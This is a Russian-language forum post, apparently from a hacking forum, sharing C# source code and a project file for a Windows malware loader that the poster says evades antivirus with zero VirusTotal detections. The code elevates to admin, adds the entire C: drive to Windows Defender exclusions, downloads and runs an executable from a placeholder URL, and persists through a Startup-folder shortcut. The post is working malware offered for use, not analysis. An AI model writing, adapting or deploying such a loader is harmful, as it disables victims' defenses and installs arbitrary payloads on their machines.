Пожалуйста, обратите внимание, что пользователь заблокирован
написан на c#, исходный вес билда ~68мб. его (вес) можно снизить, если использовать тримминг + перейти на .net framework заместо .net core. тестировал лично, обходит все защиты + VT 0/70 детект.
автор этого скрипта не я, поэтому ответить на возникшие вопросы не смогу. если тут говнокод - соррян, я не шарю за сишарп. нашел рабочее решение - решил поделиться с остальными. с наступающим новым годом!
ps: личных не будет, не спамьте в ПМ. хайд не сниму.
.csproj
автор этого скрипта не я, поэтому ответить на возникшие вопросы не смогу. если тут говнокод - соррян, я не шарю за сишарп. нашел рабочее решение - решил поделиться с остальными. с наступающим новым годом!
ps: личных не будет, не спамьте в ПМ. хайд не сниму.
У вас должно быть более 10 реакций для просмотра скрытого контента.
C#:
using System;
using System.IO;
using System.Net.Http;
using System.Diagnostics;
using System.Security.Principal;
using System.Runtime.InteropServices;
class Program
{
// Check if the user has admin privileges
static bool IsAdmin()
{
var identity = WindowsIdentity.GetCurrent();
var principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
// Request admin privileges if not already
static void RunAsAdmin()
{
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.FileName = System.Reflection.Assembly.GetExecutingAssembly().Location;
startInfo.Verb = "runas"; // Request admin privileges
Process.Start(startInfo);
Environment.Exit(0);
}
// Add C:/ drive to Windows Defender exclusions (requires admin)
static void AddAntivirusExclusion()
{
try
{
Process.Start("powershell", "Add-MpPreference -ExclusionPath 'C:\\'");
Console.WriteLine("Added C:/ drive to Windows Defender exclusions.");
}
catch (Exception ex)
{
Console.WriteLine($"Error adding exclusion: {ex.Message}");
}
}
// Download and run executable
static void DownloadAndRunExe(string downloadUrl, string filename)
{
try
{
string downloadPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Temp", filename);
using (HttpClient client = new HttpClient())
{
var data = client.GetByteArrayAsync(downloadUrl).Result;
File.WriteAllBytes(downloadPath, data);
}
Console.WriteLine($"Downloaded {filename} to {downloadPath}");
// Run the downloaded executable
Process.Start(new ProcessStartInfo(downloadPath) { UseShellExecute = true });
Console.WriteLine($"Running {filename}...");
}
catch (Exception ex)
{
Console.WriteLine($"Error downloading or running the executable: {ex.Message}");
}
}
// Create shortcut in the Startup folder
static void CreateStartupShortcut(string filename)
{
string tempFolder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Temp");
string startupFolder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup));
string shortcutPath = Path.Combine(startupFolder, $"{filename} Shortcut.lnk");
// Create the shortcut using Windows API (Shell32) for .NET 5/6/7+
if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
{
CreateWindowsShortcut(shortcutPath, Path.Combine(tempFolder, filename));
}
Console.WriteLine($"Startup shortcut created at: {shortcutPath}");
}
// Helper method to create shortcut using Windows API
static void CreateWindowsShortcut(string shortcutPath, string targetPath)
{
var shell = Activator.CreateInstance(Type.GetTypeFromProgID("WScript.Shell"));
var shortcut = shell.GetType().InvokeMember("CreateShortcut", System.Reflection.BindingFlags.InvokeMethod, null, shell, new object[] { shortcutPath });
shortcut.GetType().InvokeMember("TargetPath", System.Reflection.BindingFlags.SetProperty, null, shortcut, new object[] { targetPath });
shortcut.GetType().InvokeMember("WorkingDirectory", System.Reflection.BindingFlags.SetProperty, null, shortcut, new object[] { Path.GetDirectoryName(targetPath) });
shortcut.GetType().InvokeMember("IconLocation", System.Reflection.BindingFlags.SetProperty, null, shortcut, new object[] { targetPath });
shortcut.GetType().InvokeMember("Save", System.Reflection.BindingFlags.InvokeMethod, null, shortcut, null);
}
static void Main()
{
// Check for admin privileges and re-run with admin rights if necessary
if (!IsAdmin())
{
Console.WriteLine("Admin privileges are required to run this program.");
RunAsAdmin();
return;
}
// Add antivirus exclusion
AddAntivirusExclusion();
// Define download URL and filename
string downloadUrl = "сюда_ссылку_на_загрузку"; // Replace with the actual URL
string filename = "downloaded_exe.exe";
// Download and run executable
DownloadAndRunExe(downloadUrl, filename);
// Create a startup shortcut
CreateStartupShortcut(filename);
}
}
.csproj
У вас должно быть более 10 реакций для просмотра скрытого контента.
Код:
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net9.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<OutputType>Exe</OutputType>
</PropertyGroup>
</Project>